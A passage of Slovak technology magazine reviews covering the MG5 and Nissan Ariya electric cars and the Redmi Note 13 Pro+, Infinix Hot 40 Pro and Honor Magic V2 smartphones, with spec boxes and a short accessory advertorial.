Systémy fungovali veľmi dobre a oproti 
MG4 je aj podstatne lepšie naladený systém 
udržiavania v jazdnom pruhu, pri ktorom 
nemusíte prekonávať taký veľký odpor, ak 
chcete ručne upraviť smer. 

MG5 vyniká veľmi dobrými jazdnými vlast-
nosťami. Záťah pohonnej jednotky je viac než 
dostatočný a pri rozjazdoch nie je nič nezvy-
čajné, ak vám prekĺznu kolesá. Podvozok je 
veľmi dobre naladený a autom sa jazdí prí-
jemne a prirodzene. Keďže volič rekuperácie 
máte teraz poruke, môžete ju účinne využívať. 
Režim čistého plachtenia auto nemá. Vzhľa-
dom na použitý synchrónny motor s perma-
nentnými magnetmi je trvale zaradený prvý 
stupeň rekuperácie. Testovali sme pri zimných 
teplotách, ktoré klesali po -5 °C. To má, sa-
mozrejme, dosah na celkovú spotrebu, ktorá 
sa v kombinovanom režime vyšplhala na 21,9 
kWh/100 km. To je na zimné podmienky po-
merne dobrý údaj, ale s dojazdom necelých 

270 km to už také slávne nie je. V letných 
podmienkach je však predpoklad, že spotreba 
bude podstatne lepšia. 

 »  RENÉ HUBINSKÝ

TECHNICKÉ ÚDAJE:

Podvozok, technologická výbava,  
spracovanie, V2L, vyhrievanie batérie
 
Horšie priestorové riešenie kabíny,  
pomalšie DC nabíjanie–

 Cena modelu od (s DPH): 39 300 EUR 
 Testované vozidlo (s DPH): 39 300 EUR

PLUSY, MÍNUSY:

 Batéria 61,1 kWh, využiteľná 57,4 kWh, 
pohon predných kolies, výkon elektromo-
tora 115 kW, krútiaci moment: 280 Nm, max. 
rýchlosť: 185 km/h, zrýchlenie z 0 na 100 
km/h: 8,3 s, max. elektrický dojazd (WLTP) 
400-538 km, nabíjanie: DC 87 kW, AC 11 
kW/3f 

+
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TESTY:

 Spotreba v teste (kWh/100 km)

 Dojazd v teste (km)

 Výkon AC nabíjania na 22 kW  
3f nabíjačke (kW)

 Max. výkon DC nabíjania UFC 
nabíjačka 350 kW (kW)

 Čas nabíjania 10-80 % (min)

21,9

265

11 

72 

42

  Vstavaná navigácia je funkčná ale chýbajú jej pokročilejšie funkcie plánovania pre EV   Domovská obrazovka ponúka dôležité odkazy na jednom mieste



Nissan ARIYA e-4ORCE

Nissan Ariya je už niekoľko rokov veľmi 
očakávaný model a teraz sme mali ko-

nečne možnosť otestovať ho aj v jeho naj-
výkonnejšej verzii e-4ORCE s pohonom 4×4. 
Jeho príchod sa zdržal z dôvodu covidovej 
krízy a komplikácií s dodávkami čipov. Nissan 

sa tak teraz horúčkovito 
snaží dohnať zameš-
kané dodávky, a keďže 
nie sme najdôležitejším 
trhom na svete, stále 
sa k nám tieto vozidlá 
dostávajú po kusoch. 

Napriek tomu, že bol model predstavený už 
v roku 2020, slúži ku cti, že s výnimkou nie-
ktorých maličkostí drží krok s dobou a nič 
podstatné mu nemožno vyčítať. 

Asi nikomu netreba hovoriť, že Nissan má 
vďaka svojim celosvetovo rozšíreným mo-
delom Leaf bohaté skúsenosti s elektromo-
bilitou a Ariya patrí k plodom dlhoročného 
vývoja. V ponuke výrobcu ide o prvý čisto 
elektrický coupé crossover, ktorý ponúka 
okrem výborného zrýchlenia aj tichý chod a 
interiér s príjemnou, prémiovou atmosférou. 
Dojazd podľa WLTP je až 500 km a ide tak 
o plnohodnotnú náhradu rodinného vozidla. 
Ariya je postavená na najnovšej platforme 
pre elektromobily a je stelesnením firemnej 
stratégie Nissan Intelligent Mobility, ktorá 
má za cieľ dosiahnuť budúcnosť, kde nie 
sú ani emisie, ani obete dopravných nehôd. 
Kabína vozidla je nadštandardne priestorná 
vpredu aj vzadu. V prednej časti zvlášť chvá-

lim riešenie centrálnej konzoly, ktorá nie je 
prepojená s palubnou doskou, je elektricky 
posuvná v pomerne veľkom rozsahu a jej 
nastavenie možno uložiť ako súčasť profilu 
vodiča. Opierky na dverách sú ergonomicky 
umiestnené, takže si o ne aj za jazdy môžete 
opierať ruku a končia vpredu za ovládacím 
pultom okien a zrkadiel. Vďaka tomu vám 
ani pri väčšej postave nič neprekáža, netlačí 
vás a môžete sa tu doslova rozvaľovať. To 
je veľký pokrok aj v rámci modelov výrobcu 
a vidieť, že kabína sa vytvárala s prioritou 
ergonómie. K priestoru, samozrejme, pri-
spieva aj rovná, otvorená podlaha a štíhly 
profil sedadiel Ariya Zero Gravity. Okrem 
priestrannosti kabína zaujme aj výborným 
spracovaním a hodnotnými materiálmi. Pa-
lubná doska aj dverné výplne sú čalúnené 
a príjemné na dotyk. Spodná časť palub-
nej dosky je z imitácie dreva a v strede sú 
podsvietené dotykové ovládače klimatizácie 
s haptickou reakciou. Uprostred medzi vý-
duchmi klimatizácie je otočný volič hlasi-
tosti s tlačidlom vypnutia multimediálneho 
systému. Dole v strede a na dverách sú ele-
gantné podsvietené mriežky ambientného 
osvetlenia, ktoré navodzujú luxusný pocit z 
kabíny. Centrálne spätné zrkadlo je digitálne 
s možnosťou prepnutia na klasické. Digitálny 
prístrojový panel je pod jedným tvarovaným 
sklom s displejom infotainmentu. Prístrojový 
štít má iba dve voľby dizajnu a môžete si 
prepínať údaje palubného počítača a ďalšie 
zobrazenia. Tu sa nastavujú aj všetky para-

metre vozidla a asistentov. Centrálny displej 
využíva možnosť nastavenia widgetov. Jedi-
ným slabším miestom je tu navigácia, ktorá 
má neprehľadnú a zastaranú grafiku. Pozi-
tívne je, že aspoň zobrazuje zostatok batérie 
v cieli. Inak je výhodné, že ju možno nahradiť 
Android Autom alebo Apple CarPlay. Celé to 
dopĺňa veľmi kvalitný veľkoplošný head-up 
displej, ktorý má jedno z najlepších zobra-
zení na trhu a napríklad pri prichádzajúcom 
telefonáte zobrazí aj fotku volajúceho, sa-
mozrejme, ak ju máte v mobile uloženú. Na 
stredovej konzole je volič jazdných režimov 
a aj podsvietené dotykové tlačidlá jazdného 
módu, automatického parkovania, e-pedála 
a dvojica tlačidiel na vysunutie a zasunutie 
elektricky ovládanej schránky na spisy pod 
stredom palubnej dosky. Vďaka posunu 
celej konzoly si tak môžete presne nastaviť 
polohu ovládacích prvkov. Pod opierkou je 
ukrytá aj bezdrôtová nabíjačka na smartfón a 
veľký odkladací priestor. V zadnej časti kon-
zoly sú umiestnené tlačidlá vyhrievania zad-
ných sedadiel a dvojica konektorov, jeden 
USB-C a jeden USB-A.   

Vozidlo sa dodáva s pohonom predných 
alebo všetkých kolies a s dvoma veľkosťami 
batérie. Ariya 63 kWh s pohonom predných 
kolies je ideálna na mestské a prímestské 
jazdenie alebo ako druhé auto do rodiny. 
Ariya 87 kWh, ktorú sme aj testovali, s po-
honom všetkých kolies ponúkne s 87 kWh 
batériou dlhší dojazd v spojení s vysokým 
výkonom. Vozidlo navyše môže ťahať príves 

„PRIESTRANNÝ A 
EXKLUZÍVNY INTERIÉR, 

VYSOKÝ VÝKON AJ 
VÝBORNÁ VÝBAVA."

VÝKONNÝ RODINNÝ PRACANT 
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s hmotnosťou až 1500 kg. Podporuje rýchle 
DC nabíjanie výkonom 130 kW a vstavanú 
nadštandardnú trojfázovú nabíjačku s výko-
nom 22 kW na domáce nabíjanie z wallboxu. 
Samozrejmosť je bohatá technologická vý-
bava, ktorej dominuje modernizovaný sys-
tém ProPilot s funkciou Navi-link. Spojením 
s navigačným systémom a využitím údajov 
z mapy môže systém pomôcť upraviť rých-
losť vozidla na základe rýchlostného limitu, 
podmienok na ceste a podobne. Súčasťou 
systému je aj automatické parkovanie Pro-
Pilot Park, ktorému stačí označiť parkovacie 
miesto a smer parkovania a systém auto-
nómne zaparkuje. 

Rekuperáciu systém rozdeľuje na predné 
aj zadné kolesá, čím nedochádza k preťa-
žovaniu jedného motora a brzdný účinok je 
výraznejší. Vo výbave je aj 360-stupňový bez-
pečnostný systém Nissan Safety Shield, ktorý 
zahŕňa inteligentný panoramatický kamerový 
parkovací systém, inteligentnú výstrahu pred 
kolíziou, inteligentné núdzové brzdenie a 
zadnú automatickú protikolíznu brzdu. Intel-
ligent Integration ponúka bohatú konektivitu 
vrátane nového rozhrania a aktualizácií soft
véru prostredníctvom bezdrôtových techno-
lógií. Inteligentný asistent Nissan je vybavený 
hybridným systémom rozpoznávania hlasu s 
pokročilou technológiou porozumenia priro-
dzenému jazyku, vďaka ktorej zvládne asis-
tenciu vo vozidle bez toho, aby vodič spustil 
oči z cesty. Ariya je prvý model Nissan s ak-
tualizáciou firmvéru prostredníctvom softvéru 
Remote Software Upgrade. 

A ako sa s Ariyou žije? Jedným slovom 
výborne. Keďže sme testovali v zimných 
podmienkach a teploty padali pod -8 °C, 
veľmi som ocenil možnosť diaľkovo spustiť 
vyhrievanie auta. Ariya však v tomto smere 
ide ďalej. Okrem kúrenia si môžete nechať 
odmraziť sklo, zohriať sedadlá aj volant, 
takže si sadáte do príjemne vykúreného a 
odmrazeného auta. Pravda, ak auto nie je 

pripojené k wallboxu, stojí vás tento kom-
fort pár kilometrov dojazdu, pri veľkosti ba-
térie to však určite oželiete. V lete si zase 
podobným spôsobom sadnete do príjemne 
vychladenej kabíny. Pri jazde v noci asistujú 
adaptívne svetlomety s matrixovou tech-
nológiou. Svietia dobre, aj keď v priamom 
smere by mohli dosvietiť viac. Vzhľadom 
na zimné podmienky sa spotreba pohy-
bovala medzi 20 – 26 kWh/100 km, čo pri 
štvorkolke v takýchto podmienkach nie je 
nič zvláštne. Vozidlo má možnosť spustenia 
vyhrievania batérie naplánovaním trasy k na-
bíjačke alebo ručne. Zohriatie batérie trvá asi 
30 – 40 minút. Po zahriatí umožňuje batéria 
plný nabíjací výkon okolo 130 kW. My sme 
sa počas testu dostali na 125 kW. Jazdné 
vlastnosti sú veľmi dobré a zrýchlenie na 100 
km/h za 5,7 s je na takéto auto impozantné. 

Nissan Ariya ponúka priam kráľovský 
priestor pre posádku, výborné odhlučnenie, 
vysoký výkon a veľmi dobré jazdné vlast-
nosti. Na diaľnici je spotreba vyššia, ale 
napriek tomu s prehľadom zastane pozíciu 
hlavného rodinného vozidla tak na denné 
jazdenie, ako aj pri výjazdoch na dovolenku. 

  »  RENÉ HUBINSKÝ 

TECHNICKÉ ÚDAJE:

Spracovanie, výkon, technologická  
výbava, podvozok, matrixové  
svetlomety, 22 kW AC nabíjanie 
Slabšie DC nabíjanie, zastaraná grafika 
navigácie –

 Cena modelu od (s DPH):  55 490 EUR 
 Testované vozidlo (s DPH): 58 790 EUR

PLUSY, MÍNUSY:

 2× synchrónny elektromotor s externým 
budením, systémový výkon 225 kW, krútiaci 
moment: 600 Nm, poháňaná náprava: 4×4, 
max. rýchlosť: 200 km/h, zrýchlenie z 0 na 100 
km/h: 5,7 s, kapacita akumulátora 90 kWh, 
využiteľná 87 kWh, max. dojazd (WLTP): 509 
km, nabíjanie: DC 130 kW, AC 22 kW/3f 

+

TESTY:

 Spotreba v teste (kWh/100 km)

 Dojazd v teste (km)

 Výkon AC nabíjania na 22 kW  
3f nabíjačke (kW)

 Max. výkon DC nabíjania UFC 
nabíjačka 350 kW (kW)

 Čas nabíjania 10-80 % (min)

20-26

420-330

22 

125 

38
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» Redmi Note 13 Pro+ 5G je v rámci naj-
novšej generácie Redmi Note vlajkovým 
modelom výrobcu. Prvé, čím novinka 
zaujme, je dizajn. So zakriveným 
sklom Gorilla Glass Victus vpredu aj 
na zadnej strane vyzerá prémiovo a 
dobre sa drží v ruke. Sklo by malo byť 
dostatočne odolné proti poškriabaniu, 
ale pre možnosť poškodenia pri páde sa po
užívaniu puzdra asi nevyhnete. Našťastie jedno 
dostanete aj v balení. Zariadenie sa chváli cer-

tifikáciou IP68, ktorá 
má zabezpečiť odol-
nosť proti vode a pra-
chu. V spodnej časti je 
umiestnený šuplík na 
SIM karty. Zariadenie 

umožňuje konfiguráciu nano SIM + nano SIM 
alebo nano SIM + eSIM. Pamäťové karty nie sú 
podporované. Samozrejmosť je konektor USB-
C, na vrchnej strane je k dispozícii aj port IRDA. 
Tlačidlá hlasitosti a zapnutia sú na pravej strane, 
ľavá je voľná. Na zadnej strane z profilu vystu-
pujú tri kamery, a tak zariadenie pri položení na 
stôl bude spočívať na ich sklíčkach. Puzdro má 
rámik na kamery vyšší, takže zabraňuje dotyku 
kamier s podložkou a dá sa vďaka nemu mobil 
položiť bez ločkania. 

Ako správna vlajková loď aj nový Redmi Note 
využíva 6,67-palcový panel AMOLED s rozlí-
šením 2712 × 1220 pixelov, čo v 
kombinácii s ob-

novovacou frekvenciou 120 Hz a ma-
ximálnym jasom 1800 cd/m² zaisťuje 

ostrý a živý obraz. Podpora širokého 
farebného gamutu DCI-P3 a techno-
lógií ako Dolby Vision a HDR10+ zna-

mená, že displej Redmi Note 13 Pro+ 
je pripravený poskytnúť prvotriedny vi-

zuálny zážitok. Displej má zohnuté kraje a 
zaoblené rohy s otvorom v strede hore na selfie 
kameru. Osadenie je bezrámčekové. O pohon 
nového Redmi Note 13 Pro+ 5G sa stará proce-
sor MediaTek Dimensity 7200 Ultra, vyrábaný 4 
nm procesom, ktorý poskytuje vysoký výkon pri 
zachovaní efektívnej spotreby energie. V kom-
binácii s 12 GB LPDDR5 RAM a 512 GB vnútor-
ného úložiska UFS3.1 je tento smartfón viac než 
schopný zvládnuť každodenné úlohy aj náročné 
aplikácie a hry. Benchmarkové testy a reálne po-
užívanie ukazujú, že Redmi Note 13 Pro+ dokáže 
konkurovať aj drahším modelom, čo zdôrazňuje 
jeho výborný pomer cena/výkon.

Kamera je často kľúčový faktor pri výbere no-
vého smartfónu a Redmi Note 13 Pro+ v tejto 
oblasti sľubuje veľa. Najväčším lákadlom je 200 
Mpx hlavná kamera s objektívom so svetelnos-
ťou f/1,65 a snímačom s veľkosťou 1/1,4". Na-
tívne rozlíšenie senzora využijete iba pri dobrých 
svetelných podmienkach, treba však počítať 
s tým, že optika takú kvalitu nedosahuje. Na-
priek tomu kamera produkuje ostré a detailné 
snímky. V náročnejších svetelných podmien-
kach však ťahá za kratší koniec a plné rozlíšenie 
už nevyužijete. Na tieto podmienky má kamera 
pripravený režim pixel binding, keď spája signál 

až zo 16 pixelov s výsled-
ným rozlíšením 12,5 Mpx. 
Tu sú fotografie v slabšom 
osvetlení lepšie, s nižšou 
úrovňou šumu a lepším 
prekreslením. Vcelku sú 
teda fotografie z hlavnej 
kamery veľmi slušné a 
dajú sa porovnávať aj s 
niektorými drahšími mo-
delmi. Ďalej je to však už 
iný príbeh. Ultraširokouhlá 
kamera s 8 Mpx snímačom 
so svetelnosťou f/2,2 a do-
konca iba 2 Mpx makroka-
mera so svetelnosťou f/2,4 
veľmi nevyniknú ani papie-
rovo a ešte menej v praxi. 
Keď sa hrá na cenovku, 
ani to ináč nejde a je to 
bežný kompromis v tejto 

cenovej kategórii. Na druhej strane u mnohých 
zákazníkov sa počet fotoaparátov počíta, takže 
si výrobca nemôže dovoliť dať tam iba jeden, a 
to bez ohľadu na jeho kvalitu. Podobné je to aj 
so 16 Mpx selfie kamerou, aj keď od tej sa žiadne 
hollywoodske výstupy neočakávajú a to, na čo je 
určená, si plní dobre. Hlavná kamera umožňuje 
záznam videa do rozlíšenia 4K30p, jeho kvalita 
je na úrovni lepšieho priemeru. Aj za dňa sú vo 
videu pozorovateľné jemné artefakty a rezíduá 
šumu. To však zbadáte iba pri pozeraní na veľ-
kom monitore. 

Novinka prichádza s MIUI 14 založeným na 
Androide 13, čo ponúka bohaté prispôsobenie 
a množstvo funkcií. Napriek prítomnosti bloat
waru sľubuje tri veľké softvérové aktualizácie a 
štyri roky bezpečnostných aktualizácií, čo je po-
tešiteľný záväzok k dlhodobej podpore zariade-
nia. Hoci chýba najnovší Android 14 a HyperOS, 
stále je tu sľub budúcej aktualizácie, ktorá by 
mohla zlepšiť celkový softvérový zážitok. Sys-
tém však celkovo funguje veľmi svižne a neza-
znamenali sme žiadne problémy pri používaní. 
S kapacitou 5000 mAh ponúka zariadenie viac 
než dostatočnú výdrž na celý deň používania. 
Rýchle nabíjanie s výkonom 120 W je skutočné 
plus, umožňujúce nabíjať batériu z nuly na sto 
percent za menej ako 30 minút. Nabíjačka je pri-
balená. Škoda len, že zariadenie využíva vlastný 
štandard rýchleho nabíjania, takže s inými nabí-
jačkami bude nabíjanie prebiehať pomalšie, vý-
konom okolo 18 W. Bezdrôtové nabíjanie úplne 
chýba, čo je pri tejto kategórii mobilu škoda. 

Redmi Note 13 Pro+ 5G je výborný smartfón, 
ktorý ponúka prémiový dizajn, pôsobivý výkon a 
dobré fotografické schopnosti za cenu, ktorá je 
ťažko poraziteľná. Aj keď niektoré aspekty, ako je 
absencia bezdrôtového nabíjania a prítomnosť 
bloatwaru, môžu byť pre niektorých používa-
teľov mínusom, celkový balík, ktorý zariadenie 
ponúka, určite stojí za zváženie. 

  »  RENÉ HUBINSKÝ 
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REDMI NOTE 13 PRO+ 5G

„VYSOKÝ VÝKON, 
KVALITNÝ DISPLEJ A 

ULTRARÝCHLE NABÍJANIE 
ZA SUPER CENU.“

Krásny displej a bleskové nabíjanie

PLUSY, MÍNUSY:

+
–

Rýchlosť nabíjania, displej, 5G, IRDA, 
výdrž, rýchlonabíjačka aj obal v balení
Slabšie možnosti videa

PARAMETRE:

 Displej: 6,67" CrystalRes AMOLED, 2172 × 
1220 (120 Hz), operačná pamäť 12 GB, vnú-
torná pamäť 512 GB, 2× micro SIM, podpora 
eSIM, procesor MediaTek Dimensity 7200-
Ultra, fotoaparát: 200 Mpx hlavný + 8 Mpx 
ultraširokouhlý + 2 Mpx makro, predná kamera 
16 Mpx, čítačka odtlačkov prstov v displeji, GPS, 
NFC, LTE, IR port, USB-C, rýchle nabíjanie 120 W, 
batéria 5000 mAh, rozmery 161,4 × 74,2 × 8,9 
mm, hmotnosť 204,5 g 
  Cena:  499 EUR

HODNOTENIE:

TIP 
REDAKCIE

POMER  
CENA/VÝKON
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» Infinix Hot 40 Pro je najnovší prírastok v cenovo 
dostupnom rade spoločnosti Infinix, ktorý pri-
chádza s pôsobivým súborom funkcií bez toho, 
aby zákazník musel siahať hlboko do vrecka. Za-
riadenie tak prináša kombináciu výkonu, dizajnu 

a funkčnosti.  Telefón sa pýši 
štýlovým dizajnom s lesklým 
povrchom displeja, ktorý sa 
pričiňuje o prémiový vzhľad. 
Vďaka ergonomickému di-
zajnu a zaobleným hranám 

sa smartfón dobre drží. Ostrovček zadnej trojice 
kamier má zaoblené rohy a výrazne vystupuje zo 
zadného panela. Snímač odtlačkov prstov je in-
tegrovaný v zapínacom tlačidle na pravej strane. 

Smartfón je vybavený 6,78-palcovým LCD dis-
plejom IPS s rozlíšením 1080 × 2460 a frekvenciou 
120 Hz. Aj keď rozlíšenie nie je najvyššie, na danú 
veľkosť displeja je viac ako dostatočné. Displej 
ponúka živé farby a slušné úrovne jasu. Hodí sa 
tak aj na multimediálnu zábavu, sledovanie videí 
či prehliadanie fotiek a internetu. O pohon Infinix 
Hot 40 Pro sa stará procesor MediaTek Helio G85, 
doplnený o 8 GB RAM a interné úložisko s kapa-
citou 256 GB. Táto kombinácia zabezpečuje ply-
nulý multitasking a slušný výkon na každodenné 
úlohy. Príležitostné hranie hier je zvládnuté cel-
kom dobre a telefón ponúka dobrú reakciu vo 
väčšine scenárov. Vnútorné 256 GB úložisko pre 
väčšinu používateľov postačí, keby nie, možno 
doplniť kartu microSD. V šuplíku na ľavej strane 
je okrem nej priestor aj na dvojicu nano SIM. Čo 
sa týka konektivity, tu sa šetrilo. Zariadenie spolu-
pracuje maximálne so sieťami 4G LTE, podporuje 
dvojpásmovú Wi-Fi 802.11 ax, bluetooth vo verzii 

5.0 a USB-C takisto iba s podporou USB 2.0. Zato 
však ponúkne 3,5 mm konektor jack na slúchadlá 
aj podporu NFC. 

Hlavná kamera využíva snímač s rozlíšením 108 
Mpx. Okrem toho je tu 2 Mpx makrokamera a 0,08 
Mpx AI objektív na snímanie hĺbky scény. Výkon 
kamery je za dobrých svetelných podmienok na 
lepšom priemere, zachytáva relatívne ostré a živé 
obrázky. Pri slabšom svetle sa detaily rýchlo strá-
cajú a obraz sa začne rozpíjať. Video z hlavnej ka-
mery zvláda do 1440p. Je však bez stabilizácie a aj 
vo dne vykazuje preostrenosť a dynamický šum. 
Predná kamera s rozlíšením 8 Mpx je na seflie a 
videohovory dostačujúca. Makrokamera je s 2 
Mpx rozlíšením v podstate nepoužiteľná.  Jeden 
z benefitov smartfónu je okrem ceny aj dobrá 
výdrž batérie. Vďaka vysokej kapacite 5000 mAh 
zvládne celý deň stredne ťažkého používania. Ria-
denie energie je optimalizované a zabezpečuje jej 
efektívne využitie. S pribalenou výkonnou nabí-
jačkou možno telefón nabíjať výkonom 33 W.

Infinix Hot 40 Pro beží na systéme XOS 8.6 za-
loženom na Androide 11. Používateľské rozhranie 
je čisté, s minimálnym množstvom predinštalo-
vaných aplikácií, čo ponúka hladký a intuitívny 
používateľský zážitok. Infinix do softvéru zahrnul 
funkcie ako Smart Panel a Bike Mode pre pri-
danú funkčnosť. Telefón prichádza ako cenovo 
dostupné riešenie. Vyniká v oblastiach ako výdrž 
batérie, dizajn a kapacita úložiska, čo ho robí 
atraktívnou možnosťou pre používateľov hľa-
dajúcich spoľahlivé zariadenie bez preťaženia 
svojho rozpočtu. Hoci nemôže súťažiť s vlajko-
vými modelmi, ukazuje sa ako solídna voľba pre 
tých, ktorí hľadajú funkčne bohatý smartfón za 
dostupnú cenu.

  »  RENÉ HUBINSKÝ 

INFINIX HOT 40 PRO

„DOSTUPNÝ SMARTFÓN 
S KVALITNÝM 

DISPLEJOM A VEĽKOU 
VÝDRŽOU.“

Šikovný smartfón za pár drobných

PLUSY, MÍNUSY:

+

–

Displej, 3,5 mm jack, dobrá výdrž, rýchle 
nabíjanie, rýchlonabíjačka, obal, káblové 
slúchadlá v balení
Bez 5G, možnosti videa, slabé fotky v 
slabšom svetle

PARAMETRE:

 Displej: 6,78" IPS LCD 2460 × 1080 (120 Hz), 
operačná pamäť 8 GB, vnútorná pamäť 256 
GB, slot 2× nano SIM + microSD, procesor Me-
diaTek Helio G99, fotoaparát: 108 Mpx hlavný 
+ 2 Mpx makro, predná kamera 8 Mpx, max. 
rozlíšenie videa 2560 × 1440 30p, čítačka 
odtlačkov prstov, GPS, NFC, 4G LTE , jack (3,5 
mm), USB-C USB 2.0, rýchle nabíjanie 33 W, 
batéria 5000 mAh, rozmery 168,6 × 76,06 × 8,3 
mm, hmotnosť 199 gramov
  Cena:  192 EUR

HODNOTENIE:

ADVERTORIÁL
uRage gamingová 

klávesnica  
Exodus 515 Illuminated

Na pripojenie externého monitora k 
notebooku bez klasického videový-

stupu, iba s multifunkčným konektorom 
USB-C, je vhodným doplnkom špičková 
video redukcia. Poskytuje výstup HDMI s 
podporou rozlíšenia UHD 8K/60 Hz, čas-
tejšie sa však využíva režim s vysokou frek-
venciou snímok UHD 4K/120 Hz, prípadne 
full HD/240 Hz. Podmienkou využitia je 
podpora na strane notebooku. Prémiové 
je aj vyhotovenie s hliníkovým 
povrchom a flexibilným 15 
cm káblom s pozláte-
nými konektormi.

Hama redukcia  
USB-C na HDMI

Dizajnovo pôsobivá klávesnica s transpa-
rentným povrchom a podsvietením 

umožňuje nastaviť až 10 farebných zón, 7 
farieb a viacfarebných režimov. Je vybavená 
štyrmi samostatnými multimediálnymi klá-
vesmi, štyrmi klávesmi na makro a dvanás-
timi klávesmi s multimediálnymi funkciami. 
Napájací kábel s flexibilným opletením je 
odpojiteľný. Otočný ovládač (valček) umož-
ňuje reguláciu systémovej hlasitosti alebo 
intenzity podsvietenia. Klávesnica je kom-
patibilná s OS Windows. Ponúka softvér na 
individuálne nastavenie všetkých klávesníc, 
podsvietení, makier a profilov.

Cena: 35,99 EUR 

www.hama.sk

Cena: 43,90 EUR 
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» Skladacie smartfóny s ohybným displejom 
boli a sú smerované na ľudí, ktorí chcú pre-
zentovať fascinovanie technológiami a za-
ujať jedinečným štýlom. Doterajšie modely 
bez ohľadu na výrobcu boli vždy tak trochu o 
kompromisoch. Tie sa týkali buď výkonu, foto-
aparátov, alebo výdrže batérie. Kompromisom 
bola aj hrúbka smartfónu. 

Honor Magic V2 je skladací smartfón bez 
kompromisov. Konštruktérom sa podarilo vy-
myslieť mechanizmus pántu, ktorý umožnil, 

aby Honor Magic V2 
v zloženom stave mal 
hrúbku len 9,9 mm, 
takže v čase písania 
recenzie je to najtenší 
dovnútra skladací 
smartfón na svete. 
Má hmotnosť len 231 

g. Na malej hrúbke sa významne podieľajú aj 
ďalšie technologické inovácie, predovšetkým 
duálne kremíkovo-uhlíkové batérie s priemer-
nou hrúbkou iba 2,72 mm. Smartfón má tri 
zadné plnohodnotné fotoaparáty, výkonnú či-
povú súpravu a batériu s kapacitou 5000 mAh. 
Drobný kompromis je len absencia odolnosti 

proti vode. V balení je plastový kryt zadnej 
steny a pántu, ktorý má praktickú kovovú vy-
klápaciu nožičku, ktorú využijete napríklad pri 
pozeraní videa na vonkajšom displeji v polohe 
na šírku.

Pánt je vyrobený z titánovej zliatiny tech-
nológiou 3D tlače. Mal by vydržať 400 000 
cyklov roztvorenia a zatvorenia, aspoň takto to 
uvádza výrobca. Ťažko povedať, či tento garan-
tovaný počet cyklov sa týka len mechanizmu 
kĺbu, alebo aj ohybného displeja. Pánt spoľah-
livo drží v akejkoľvek polohe. Konštruktéri si 
veľmi dobre poradili aj s tlačidlami. V zatvore-
nom stave sú všetky na pravej strane, po otvo-
rení je dvojtlačidlo na ovládanie hlasitosti na 
ľavej strane a zapínacie tlačidlo s integrovanou 
čítačkou odtlačkov na pravej strane. Napriek 
tomu, že tlačidlo je veľmi úzke, rozpoznávanie 
je rýchle a spoľahlivé. 

Vonkajší displej má rozlíšenie 1060 × 2376 
pixelov a pomer strán 20:1. Keďže práve tento 
displej sa bude používať na pohotové získanie 
informácií, má maximálny jas až 2500 nitov, čo 
zaručuje dobrú čitateľnosť aj na priamom sl-
nečnom svetle. Vnútorný displej má po roztvo-
rení uhlopriečku 7,92 palca a rozlíšenie 2156 × 

2344 px. Subjektívne pôsobí obraz na obidvoch 
displejoch výborne, s trochu výraznejšie satu-
rovanými farbami. Vonkajší displej je chránený 
odolným sklom z nanokryštálov druhej gene-
rácie. Vnútorný ohybný displej chráni fólia. 
Pri testovaní som si uvedomil, že na väčšinu 
úkonov mi stačil vonkajší displej, takže smart
fón som roztváral, len keď som potreboval 
mať dve okná aplikácií vedľa seba, pri kontrole 
dokumentov a čítaní elektronických kníh. Len 
postupne som si uvedomoval, že väčšia plocha 
vnútorného displeja sa výborne hodí takmer na 
všetky aplikácie aj na prehliadanie webového 
obsahu či sociálnych sietí. Regulácia jasu pod-
svietenia displejov využíva PWM (impulzovú 
frekvenčnú moduláciu) na vysokej frekvencii 
3840 Hz, takže ľudské oko nemá šancu po-
strehnúť ani náznak blikania. Únavu očí elimi-
nuje dynamické stmavenie a redukcia škodlivej 
modrej zložky svetla. Zvlnenie v oblasti ohybu 
skôr nahmatáte, než uvidíte. 

Elektronickým srdcom smartfónu je čipová 
súprava Qualcomm Snapdragon 8 Gen2. Je 
osemjadrová, pričom najvýkonnejšie jadro, 
určené na výpočtovo najnáročnejšie úlohy, 
beží na taktovacej frekvencii 3,19 GHz. AI, ktorá 
sa podieľa aj na spracovaní obrazu, pri fotení 
a filmovaní využíva NPU (Neural Processing 
Unit). Generovanie grafiky má na starosti GPU 
Adreno 740. 

Procesor je zároveň relatívne energeticky 
úsporný, takže batéria s kapacitou 5000 mAh 
vydrží v pohode jeden a pol dňa bežného po
užívania a pri konzervatívnejšom využívaní aj 
dva dni. Nabíjačka nie je pribalená. Maximálny 
príkon nabíjania cez port USB-C je 66 W. Nabitie 
na plnú kapacitu 65 W adaptérom z notebooku 
trvalo 64 minút. Bezdrôtové nabíjanie nie je pod-
porované. Stereofónny zvuk je samozrejmosť, 
ale v oblasti nízkych tónov príliš neexceluje. Je 
to logické, pretože hrúbka obidvoch častí je len 
4,7 mm, takže na náročnejšie počúvanie odpo-
rúčam slúchadlá alebo bluetooth reproduktor.  

Skladací smartfón je vybavený trojitým 
zadným fotoaparátom, zahŕňajúcim 50 Mpx 
hlavný fotoaparát s mierne širokouhlým ob-
jektívom, ktorý má podobný zorný uhol ako 
ľudské oko a svetelnosť f/1,9. Rovnaké rozlíše-
nie 50 Mpx má aj ultraširokouhlý fotoaparát 
s objektívom 13 mm f/2,0. Trojicu dopĺňa te-
leobjektív s 2,5-násobným priblížením, svetel-
nosťou f/2,4 a snímačom s rozlíšením 20 Mpx. 
Digitálny zoom poskytuje akceptovateľnú 
kvalitu do 10-násobného priblíženia. Objek-
tív hlavného fotoaparátu aj teleobjektív majú 

HONOR MAGIC V2 

„TENKÝ SKLADACÍ 
SMARTFÓN S 

VÝBORNÝMI DISPLEJMI 
AJ FOTOAPARÁTMI 

A S PREBYTKOM 
VÝPOČTOVÉHO AJ 

GRAFICKÉHO VÝKONU.“

Najtenšia skladačka bez kompromisov
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optickú stabilizáciu. Ultraširokouhlý objektív 
má automatické zaostrovanie a môžete ho 
využiť aj na makrosnímky drobných predme-
tov alebo detailov zblízka. Pri komponovaní 
záberu môžete využiť výhody veľkého vnútor-
ného displeja. 

Predné kamery sú dve. Jedna je v priestrele 
vonkajšieho a druhá v pravej časti roztvo-
reného vnútorného displeja, čo umožňuje 
videohovory so zatvoreným aj roztvoreným 
smartfónom. Obidve kamery majú snímač s 
rozlíšením 16 Mpx a objektív so svetelnosťou 
f/2,2. Na selfie zábery môžete využiť aj zadné 
fotoaparáty. Stačí pri otvorenom smartfóne 
aktivovať funkciu Zadné selfie. Náhľad záberu 
sa vám potom bude zobrazovať na vonkaj-
šom displeji. Tento režim je vynikajúci, ak sa 
chcete odfotiť s väčšou skupinkou ľudí alebo 
za sebou zachytiť viac pozadia. Používateľ má 
teda fotografickú výbavu bez kompromisu, 
